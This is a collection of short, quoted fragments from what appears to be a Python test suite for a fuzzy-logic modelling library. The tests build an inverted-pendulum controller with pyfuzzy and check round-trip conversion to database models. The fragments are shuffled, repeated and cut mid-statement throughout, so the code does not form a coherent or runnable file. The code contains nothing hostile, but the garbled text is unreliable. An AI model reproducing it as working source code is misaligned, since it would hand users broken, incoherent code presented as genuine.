"import Adjective from fuzzy.set.Polygon import Polygon from fuzzy.defuzzify.COG import COG pyfuzzy_system_expected = self._createSystem()",
"only a given norm \" self.assertIsInstance(new_norm, norm.__class__) params = [] try: for arg",
"norms INF = AlgebraicProduct() ACC = AlgebraicSum() COM = AlgebraicSum() CER = AlgebraicProduct()",
"self._createSystem() new_pyfuzzy_system = self._createSystem() system_model = SystemModel.from_pyfuzzy(self._createSystem()) output_a = new_pyfuzzy_system.variables[\"a\"] output_a.name = 'a'",
"\"test only a given rule\" self.assertIsInstance(new_operator, operator.__class__) if operator.__class__.__name__ == 'Compound': self._test_norm(operator.norm, new_operator.norm)",
"self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_rule_has_same_adjs_as_output_only(self): \" check if a rule has the same adjectives as",
"# reset_mock(SystemModel,'inputvariablemodel_set') # reset_mock(SystemModel,'outputvariablemodel_set') # reset_mock(SystemModel,'rulemodel_set') pass def tearDown(self): \"\"\"And kill it when",
"not hasattr(var, 'fuzzify'): for adj_name, adj in var.adjectives.items(): outputs_adjs.append(adj) for rule_name, rule in",
"angle_velocity.adjectives['cw_fast'] = Adjective(Polygon([(-600.,1.),(-300.,0.)])) angle_velocity.adjectives['cw_slow'] = Adjective(Polygon([(-600.,0.),(-300.,1.),(0.,0.)])) angle_velocity.adjectives['stop'] = Adjective(Polygon([(-300.,0.),(0.,1.),(300.,0.)])) angle_velocity.adjectives['ccw_slow'] = Adjective(Polygon([(0.,0.),(300.,1.),(600.,0.)])) angle_velocity.adjectives['ccw_fast']",
"= Rule( adjective=a_right_slow, # it gets its value from here operator=Compound( AlgebraicProduct(), Not(",
"pyfuzzy object \" new_system = self._mock_systemModel() new_pyfuzzy_system = new_system.get_pyfuzzy() # the expected pyfuzzy",
"a_right_fast = new_pyfuzzy_system.variables[\"a\"].adjectives[\"right_fast\"] far_right = Rule( adjective=a_right_fast, # it gets its value from",
"in self.input_variable_mock + self.output_variable_mock } pyfuzzy_system_expected.variables = variable_dict rules_dict = { rule.name :",
"def _mock_systemModel(self): self.system_description = \"System description\" self.system = SystemModel(description=self.system_description) self.input_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"iv%d\"",
"# it gets its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) system.rules['far left'] =",
"new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_rule_has_same_adjs_as_output_only(self): \" check if",
"Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.variables['a'] = acceleration import math input_dict = {} input_dict[\"X\"] = 0.0 #:",
"Max(), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"stop\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]) ), Compound( AlgebraicProduct(),",
"of same value \" from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from",
"new_defuzzify.ACC) self._test_norm(defuzzify._ACC, new_defuzzify._ACC) def _test_rule(self, rule, new_rule): \"test only a given rule\" self.assertIsInstance(new_rule,",
"AlgebraicSum() CER = AlgebraicProduct() COG = COG(INF=INF,ACC=ACC,failsafe = 0., segment_size=0.5) from fuzzy.InputVariable import",
"Adjective(Polygon([(-600.,1.),(-300.,0.)])) angle_velocity.adjectives['cw_slow'] = Adjective(Polygon([(-600.,0.),(-300.,1.),(0.,0.)])) angle_velocity.adjectives['stop'] = Adjective(Polygon([(-300.,0.),(0.,1.),(300.,0.)])) angle_velocity.adjectives['ccw_slow'] = Adjective(Polygon([(0.,0.),(300.,1.),(600.,0.)])) angle_velocity.adjectives['ccw_fast'] = Adjective(Polygon([(300.,0.),(600.,1.)]))",
"return the correct corresponding Model for the pyfuzzy object \" pyfuzzy_system_expected = self._createSystem()",
"demonstrate some features of pyfuzzy. This is the reason, it uses different fuzzy",
"given rule\" self.assertIsInstance(new_rule, rule.__class__) self.assertEquals(rule.certainty, new_rule.certainty) self._test_adj(rule.adjective, new_rule.adjective) self._test_norm(rule.CER, new_rule.CER) self._test_norm(rule.CER, new_rule.CER) self._test_operator(rule.operator,",
"output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_sets_only(self): \" should return the correct output",
"= Adjective(Polygon([(-20.,0.),(-10.,1.),(0.,0.)]),COM=COM) acceleration.adjectives['stop'] = a_stop = Adjective(Polygon([(-10.,0.),(0.,1.),(10.,0.)]),COM=COM) acceleration.adjectives['right_slow'] = a_right_slow = Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast']",
"adjective=a_right_slow, # it gets its value from here operator=Compound( AlgebraicProduct(), Not( Compound( AlgebraicProduct(),",
"to demonstrate some features of pyfuzzy. This is the reason, it uses different",
"import DombiUnion from fuzzy.operator.Compound import Compound from fuzzy.operator.Input import Input from fuzzy.operator.Not import",
"adj in var.adjectives.items(): new_adj = var.adjectives[adj_name] self._test_adj(adj, new_adj) #: is input if hasattr(var,",
"rule has the same adjectives as the output\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system =",
"a SetModel in th System \" from fuzzy_modeling.models import AdjectiveModel pyfuzzy_system_expected = self._createSystem()",
"import Input from fuzzy.operator.Not import Not system.rules['stop'] = Rule( adjective=a_stop, # it gets",
"), CER=CER ) system.rules['accelerate ccw if down'] = Rule( adjective=a_left_slow, # it gets",
"= 'far right' rule_model = RuleModel.from_pyfuzzy(far_right, new_pyfuzzy_system, system_model) new_rule = rule_model.get_pyfuzzy(new_pyfuzzy_system) # new_rule.operator",
"= Adjective(Polygon([(0.,0.),(30.,1.),(60.,0.)])) angle.adjectives['up_right'] = Adjective(Polygon([(30.,0.),(60.,1.),(90.,0.)])) angle.adjectives['up'] = Adjective(Polygon([(60.,0.),(90.,1.),(120.,0.)])) angle.adjectives['up_left'] = Adjective(Polygon([(90.,0.),(120.,1.),(150.,0.)])) angle.adjectives['up_more_left'] =",
"Compound( DombiUnion(0.25), Input(system.variables[\"dX_dT\"].adjectives[\"right_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"right_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]) ), CER=CER ) system.rules['far right']",
"acceleration acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] = a_left_slow = Adjective(Polygon([(-20.,0.),(-10.,1.),(0.,0.)]),COM=COM) acceleration.adjectives['stop'] =",
"new_var_value: self.assertEquals(new_var_value, var_value) for rule_name, rule in pyfuzzy_system_expected.rules.items(): new_rule = new_pyfuzzy_system.rules[rule_name] self._test_rule(rule, new_rule)",
"from fuzzy_modeling.models import AdjectiveModel pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() from fuzzy.norm.AlgebraicSum",
"0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1)",
") ), ), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]) ), CER=CER ) system.rules['tilts left'] = Rule( adjective=a_left_slow, #",
"arg != 'ACC': params.append(arg) # will raise this exception when the given type",
"its value from here operator=Compound( Max(), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"stop\"]) ), Compound( AlgebraicProduct(),",
"= math.radians(0.0) #: angle velocity [rad/s] i_dict1 = input_dict.copy() i_dict2 = input_dict.copy() output_dict1",
"= getattr(new_norm, param_name) self.assertEquals(new_arg, arg) self.assertEquals(new_norm.UNKNOWN, norm.UNKNOWN) self.assertEquals(new_norm.T_NORM, norm.T_NORM) self.assertEquals(new_norm.S_NORM, norm.S_NORM) def _test_fuzzify(self,",
"angle angle.adjectives['up_more_right'] = Adjective(Polygon([(0.,0.),(30.,1.),(60.,0.)])) angle.adjectives['up_right'] = Adjective(Polygon([(30.,0.),(60.,1.),(90.,0.)])) angle.adjectives['up'] = Adjective(Polygon([(60.,0.),(90.,1.),(120.,0.)])) angle.adjectives['up_left'] = Adjective(Polygon([(90.,0.),(120.,1.),(150.,0.)]))",
"= { 'a' : 0.0 #: acceleration [m/s²] } output_dict2 = { 'a'",
"), Compound( DombiUnion(0.25), Input(system.variables[\"dX_dT\"].adjectives[\"right_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"right_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]) ), CER=CER ) system.rules['far",
"only a given rule\" self.assertIsInstance(new_rule, rule.__class__) self.assertEquals(rule.certainty, new_rule.certainty) self._test_adj(rule.adjective, new_rule.adjective) self._test_norm(rule.CER, new_rule.CER) self._test_norm(rule.CER,",
"new_op_call, operator) ) def test_set_only(self): \" should return the correct outout when only",
"%s\" % (op_call, new_op_call, operator) ) def test_set_only(self): \" should return the correct",
"rules.\"\"\") from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.fuzzify.Plain import Plain",
"a_left_slow = Adjective(Polygon([(-20.,0.),(-10.,1.),(0.,0.)]),COM=COM) acceleration.adjectives['stop'] = a_stop = Adjective(Polygon([(-10.,0.),(0.,1.),(10.,0.)]),COM=COM) acceleration.adjectives['right_slow'] = a_right_slow = Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM)",
"= rulemodel_set return self.system def test_system_get_pyfuzzy(self): \" shoud return the correct corresponding pyfuzzy",
"type don't implement a __init__ function # (never overrided the object.__init__) except TypeError:",
"acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.variables['a'] = acceleration import math input_dict = {}",
"corresponding pyfuzzy object \" new_system = self._mock_systemModel() new_pyfuzzy_system = new_system.get_pyfuzzy() # the expected",
"def test_output_variable_only(self): \" should return the correct outout when only changing the outputvar",
": 0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def",
"pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() import math input_dict = {} input_dict[\"X\"] =",
"pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() INF = AlgebraicProduct() ACC = AlgebraicSum() COM",
"fuzzy.norm.AlgebraicProduct import AlgebraicProduct CER = AlgebraicProduct() pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() a_right_fast",
"ACC=ACC, failsafe=0., segment_size=0.5) acceleration = OutputVariable( defuzzify=COG, description='acceleration', min=-50., max=50., unit='meter per second^2')",
"if arg != 'self': params.append(arg) # will raise this exception when the given",
"self._test_fuzzify(var.fuzzify, new_var.fuzzify) #: output else: self._test_defuzzify(var.defuzzify, new_var.defuzzify) # import pdb; pdb.set_trace() var_value =",
"from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) new_pyfuzzy_system.rules['far right'] = far_right self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict",
"(0., 1.), (10., 0.)]), COM=COM) a_stop.name = 'stop' new_a_stop = AdjectiveModel.from_pyfuzzy(a_stop).get_pyfuzzy() new_pyfuzzy_system.variables['a'].adjectives['stop'] =",
"new_operator): \"test only a given rule\" self.assertIsInstance(new_operator, operator.__class__) if operator.__class__.__name__ == 'Compound': self._test_norm(operator.norm,",
"new_membership = new_adj.getMembership() # if membership != new_membership: # import pdb; pdb.set_trace() self.assertEquals(",
"in %s\" % (op_call, new_op_call, operator) ) def test_set_only(self): \" should return the",
"per second') system.variables['dX_dT'] = velocity velocity.adjectives['left_fast'] = Adjective(Polygon([(-10.,1.),(-5.,0.)])) velocity.adjectives['left_slow'] = Adjective(Polygon([(-10.,0.),(-2.,1.),(0.,0.)])) velocity.adjectives['stop'] =",
": 0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1,",
"pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def",
"variable_dict rules_dict = { rule.name : rule.get_pyfuzzy() for rule in self.rules_mock } pyfuzzy_system_expected.rules",
"Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), ) ), CER=CER ) system.rules['accelerate ccw if down']",
"name var.get_pyfuzzy = lambda systme=None: name return var def _mock_systemModel(self): self.system_description = \"System",
"# it gets its value from here operator=Compound( AlgebraicProduct(), Not( Compound( AlgebraicProduct(), Compound(",
"% i) for i in xrange(1,2) ] self.output_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"ov%d\" % i)",
"self._test_norm(defuzzify._INF, new_defuzzify._INF) self._test_norm(defuzzify.ACC, new_defuzzify.ACC) self._test_norm(defuzzify._ACC, new_defuzzify._ACC) def _test_rule(self, rule, new_rule): \"test only a",
"output_dict2 = { 'a' : 0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2,",
"the correct corresponding pyfuzzy object \" new_system = self._mock_systemModel() new_pyfuzzy_system = new_system.get_pyfuzzy() #",
"= { 'a' : 0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2)",
"velocity [m/s] input_dict[\"Phi\"] = math.radians(270.0) #: angle [rad] input_dict[\"dPhi_dT\"] = math.radians(90.0) #: angle",
"elif operator.__class__.__name__ == 'Const': self.assertEquals(new_operator.value, operator.value) elif operator.__class__.__name__ == 'Input': self._test_adj(operator.adjective, new_operator.adjective) elif",
"SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon",
"[m/s] input_dict[\"Phi\"] = math.radians(270.0) #: angle [rad] input_dict[\"dPhi_dT\"] = math.radians(90.0) #: angle velocity",
"= new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.rules['far right'].adjective = a_right_fast import math",
"= SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_rules_adj_in_out_adjs(pyfuzzy_system_expected) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_system_from_pyfuzzy_changing_a_single_rule(self): \"test if work changing a single rule\"",
"%s in %s\" % (membership, new_membership, adj) ) def _test_set(self, set, new_set): \"",
"to the new instance of same value \" from fuzzy.norm.AlgebraicSum import AlgebraicSum from",
"mock.Mock() outputvariablemodel_set.all = lambda : self.output_variable_mock self.set_pre_mock(SystemModel,'outputvariablemodel_set') SystemModel.outputvariablemodel_set = outputvariablemodel_set # mocking rulemodel_set",
"defuzzify, new_defuzzify): \" test only a given fuzzify \" self.assertIsInstance(new_defuzzify, defuzzify.__class__) params =",
"norm.UNKNOWN) self.assertEquals(new_norm.T_NORM, norm.T_NORM) self.assertEquals(new_norm.S_NORM, norm.S_NORM) def _test_fuzzify(self, fuzzify, new_fuzzify): \" test only a",
"AlgebraicProduct(), Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"left_near\"]), Input(system.variables[\"X\"].adjectives[\"left_far\"]) ), Compound( EinsteinSum(), Input(system.variables[\"dX_dT\"].adjectives[\"left_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"left_fast\"])",
"new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_rule_has_same_adjs_as_output_only(self): \" check if a rule has",
"var def _mock_systemModel(self): self.system_description = \"System description\" self.system = SystemModel(description=self.system_description) self.input_variable_mock = [",
"instance of same value, and changing the corresponding rule \" from fuzzy_modeling.models import",
"outout when only changing the outputvar to a OutputVariableModel in th System \"",
"= inputvariablemodel_set # mocking outputvariablemodel_set outputvariablemodel_set = mock.Mock() outputvariablemodel_set.all = lambda : self.output_variable_mock",
"# it gets its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_left\"]), CER=CER ) system.rules['accelerate cw if",
"membership != new_membership: # import pdb; pdb.set_trace() self.assertEquals( membership, new_membership, msg=\"%s != %s",
"import Adjective from fuzzy.set.Polygon import Polygon angle = InputVariable(fuzzify=Plain(),description='angle',min=0.,max=360.,unit='degrees') system.variables['Phi'] = angle angle.adjectives['up_more_right']",
"acceleration import math input_dict = {} input_dict[\"X\"] = 0.0 #: position [m] input_dict[\"dX_dT\"]",
"DrasticSum from fuzzy.norm.EinsteinSum import EinsteinSum from fuzzy.norm.DombiUnion import DombiUnion from fuzzy.operator.Compound import Compound",
"output_dict2['a']) def test_output_variable_changing_one_sets_only(self): \" should return the correct output when changing all the",
"angle.adjectives['up_left'] = Adjective(Polygon([(90.,0.),(120.,1.),(150.,0.)])) angle.adjectives['up_more_left'] = Adjective(Polygon([(120.,0.),(150.,1.),(180.,0.)])) angle.adjectives['down_more_left'] = Adjective(Polygon([(180.,0.),(210.,1.),(240.,0.)])) angle.adjectives['down_left'] = Adjective(Polygon([(210.,0.),(240.,1.),(270.,0.)])) angle.adjectives['down']",
"import Input from fuzzy.norm.AlgebraicProduct import AlgebraicProduct CER = AlgebraicProduct() pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system",
"pdb; pdb.set_trace() var_value = var.getValue() new_var_value = new_var.getValue() # if var_value != new_var_value:",
"corresponding Model for the pyfuzzy object with another input\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system",
"\" from fuzzy_modeling.models import AdjectiveModel pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() from",
"Adjective(Polygon([(-10.,0.),(0.,1.),(10.,0.)]),COM=COM) acceleration.adjectives['right_slow'] = a_right_slow = Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) acceleration.name =",
"but from model\" from fuzzy_modeling.models import RuleModel from fuzzy.Rule import Rule from fuzzy.operator.Input",
"uses different fuzzy norm in normally symmetrical rules.\"\"\") from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from",
"\" should return the correct outout when only changing the set to a",
"pass def tearDown(self): \"\"\"And kill it when done\"\"\" self.reset_all_pre_mocks(SystemModel) def _named_and_pyfuzzymixin_mock(self, name): \"\"\"",
"= Adjective(Polygon([(5.,0.),(10.,1.)])) acceleration = OutputVariable(defuzzify=COG,description='acceleration',min=-50.,max=50.,unit='meter per second^2') system.variables['a'] = acceleration acceleration.adjectives['left_fast'] = a_left_fast",
"Rule( adjective=a_right_fast, # it gets its value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) new_pyfuzzy_system.rules['far",
"angle [rad] input_dict[\"dPhi_dT\"] = math.radians(90.0) #: angle velocity [rad/s] i_dict1 = input_dict.copy() i_dict2",
"only changing the outputvar to a OutputVariableModel in th System \" from fuzzy_modeling.models",
"new_pyfuzzy_system = self._createSystem() INF = AlgebraicProduct() ACC = AlgebraicSum() COM = AlgebraicSum() COG",
"only changing the set to a SetModel in th System \" from fuzzy_modeling.models",
"if down'] = Rule( adjective=a_right_slow, # it gets its value from here operator=Compound(",
"new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_sets_only(self): \" should return",
"from fuzzy.norm.EinsteinSum import EinsteinSum from fuzzy.norm.DombiUnion import DombiUnion from fuzzy.operator.Compound import Compound from",
"fuzzy_modeling.models import OutputVariableModel from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.Adjective",
"InputVariable(fuzzify=Plain(),description='position',min=-20.,max=20.,unit='meter') system.variables['X'] = position position.adjectives['left_far'] = Adjective(Polygon([(-20.,1.),(-10.,0.)])) position.adjectives['left_near'] = Adjective(Polygon([(-20.,0.),(-5.,1.),(0.,0.)])) position.adjectives['stop'] = Adjective(Polygon([(-5.,0.),(0.,1.),(5.,0.)]))",
"self._mock_systemModel() new_pyfuzzy_system = new_system.get_pyfuzzy() # the expected pyfuzzy system pyfuzzy_system_expected = System(self.system_description) variable_dict",
"adj_name, adj in var.adjectives.items(): new_adj = var.adjectives[adj_name] self._test_adj(adj, new_adj) #: is input if",
"param_name) self.assertEquals(new_arg, arg) self._test_norm(defuzzify.INF, new_defuzzify.INF) self._test_norm(defuzzify._INF, new_defuzzify._INF) self._test_norm(defuzzify.ACC, new_defuzzify.ACC) self._test_norm(defuzzify._ACC, new_defuzzify._ACC) def _test_rule(self,",
"failsafe=0., segment_size=0.5) acceleration = new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.rules['far right'].adjective =",
"param_name) new_arg = getattr(new_set, param_name) self.assertEquals(new_arg, arg) cog = None new_cog = None",
"a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.rules['far right'].adjective = a_right_fast import math input_dict = {} input_dict[\"X\"]",
"the new instance of same value, and changing the corresponding rule \" from",
"self.assertEquals(output_dict1['a'], output_dict2['a']) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_rule_has_same_adjs_as_output_only(self): \" check if a rule has the same",
"[] try: for arg in inspect.getargspec(set.__init__).args: if arg != 'self': params.append(arg) # will",
") system.rules['accelerate ccw if down'] = Rule( adjective=a_left_slow, # it gets its value",
"'fuzzify'): self._test_fuzzify(var.fuzzify, new_var.fuzzify) #: output else: self._test_defuzzify(var.defuzzify, new_var.defuzzify) # import pdb; pdb.set_trace() var_value",
"rules_dict = { rule.name : rule.get_pyfuzzy() for rule in self.rules_mock } pyfuzzy_system_expected.rules =",
"lambda : self.rules_mock self.set_pre_mock(SystemModel,'rulemodel_set') SystemModel.rulemodel_set = rulemodel_set return self.system def test_system_get_pyfuzzy(self): \" shoud",
"\" self.assertIsInstance(new_defuzzify, defuzzify.__class__) params = [] try: for arg in inspect.getargspec(defuzzify.__init__).args: if arg",
"new_pyfuzzy_system.variables[\"a\"] output_a.name = 'a' a_right_fast = output_a.adjectives[\"right_fast\"] a_right_fast.name = 'right_fast' far_right = Rule(",
"AlgebraicProduct(), Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"right_near\"]), Input(system.variables[\"X\"].adjectives[\"right_far\"]) ), Compound( DombiUnion(0.25), Input(system.variables[\"dX_dT\"].adjectives[\"right_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"right_fast\"])",
"!= %s in %s\" % (op_call, new_op_call, operator) ) def test_set_only(self): \" should",
"var = mock.Mock() var.name = name var.get_pyfuzzy = lambda systme=None: name return var",
"new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.rules['far right'].adjective = a_right_fast import math input_dict",
"i) for i in xrange(1,2) ] self.output_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"ov%d\" % i) for",
"def test_set_only(self): \" should return the correct outout when only changing the set",
"in xrange(1,2) ] # mocking inputvariablemodel_set # inputvariablemodel_set = lambda : None inputvariablemodel_set",
"= math.radians(90.0) #: angle velocity [rad/s] i_dict1 = input_dict.copy() i_dict2 = input_dict.copy() output_dict1",
"velocity.adjectives['left_fast'] = Adjective(Polygon([(-10.,1.),(-5.,0.)])) velocity.adjectives['left_slow'] = Adjective(Polygon([(-10.,0.),(-2.,1.),(0.,0.)])) velocity.adjectives['stop'] = Adjective(Polygon([(-2.,0.),(0.,1.),(2.,0.)])) velocity.adjectives['right_slow'] = Adjective(Polygon([(0.,0.),(2.,1.),(10.,0.)])) velocity.adjectives['right_fast']",
"import Adjective from fuzzy.set.Polygon import Polygon from fuzzy.defuzzify.COG import COG from fuzzy.OutputVariable import",
"self._test_adj(operator.adjective, new_operator.adjective) elif operator.__class__.__name__ == 'Not': self._test_operator(operator.input, new_operator.input) op_call = operator() new_op_call =",
"# the expected pyfuzzy system pyfuzzy_system_expected = System(self.system_description) variable_dict = { var.name :",
"mocking rulemodel_set rulemodel_set = mock.Mock() rulemodel_set.all = lambda : self.rules_mock self.set_pre_mock(SystemModel,'rulemodel_set') SystemModel.rulemodel_set =",
"= outputvariablemodel_set # mocking rulemodel_set rulemodel_set = mock.Mock() rulemodel_set.all = lambda : self.rules_mock",
"Adjective(Polygon([(0.,0.),(5.,1.),(20.,0.)])) position.adjectives['right_far'] = Adjective(Polygon([(10.,0.),(20.,1.)])) velocity = InputVariable(fuzzify=Plain(),description='velocity',min=-10.,max=10.,unit='meter per second') system.variables['dX_dT'] = velocity velocity.adjectives['left_fast']",
"= Adjective(Polygon([(-20.,0.),(-5.,1.),(0.,0.)])) position.adjectives['stop'] = Adjective(Polygon([(-5.,0.),(0.,1.),(5.,0.)])) position.adjectives['right_near'] = Adjective(Polygon([(0.,0.),(5.,1.),(20.,0.)])) position.adjectives['right_far'] = Adjective(Polygon([(10.,0.),(20.,1.)])) velocity =",
"} pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a'])",
") return system def test_system_from_pyfuzzy(self): \" shoud return the correct corresponding Model for",
"\" test only a given set \" self.assertIsInstance(new_set, set.__class__) params = [] try:",
"getattr(defuzzify, param_name) new_arg = getattr(new_defuzzify, param_name) self.assertEquals(new_arg, arg) self._test_norm(defuzzify.INF, new_defuzzify.INF) self._test_norm(defuzzify._INF, new_defuzzify._INF) self._test_norm(defuzzify.ACC,",
"is to control the inverted pendulum into an upright position as well as",
"InputVariable(fuzzify=Plain(),description='angle velocity',min=-600.,max=600.,unit='degrees per second') system.variables['dPhi_dT'] = angle_velocity angle_velocity.adjectives['cw_fast'] = Adjective(Polygon([(-600.,1.),(-300.,0.)])) angle_velocity.adjectives['cw_slow'] = Adjective(Polygon([(-600.,0.),(-300.,1.),(0.,0.)]))",
"AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), ) ), CER=CER ) return system def",
"value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_left\"]), CER=CER ) system.rules['accelerate cw if down'] = Rule( adjective=a_right_slow,",
"test only a given fuzzify \" self.assertIsInstance(new_fuzzify, fuzzify.__class__) def _test_defuzzify(self, defuzzify, new_defuzzify): \"",
"new_rule.operator = Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]) new_pyfuzzy_system.rules['far right'] = new_rule self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict = {}",
"its value from here operator=Compound( AlgebraicProduct(), Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"left_near\"]), Input(system.variables[\"X\"].adjectives[\"left_far\"])",
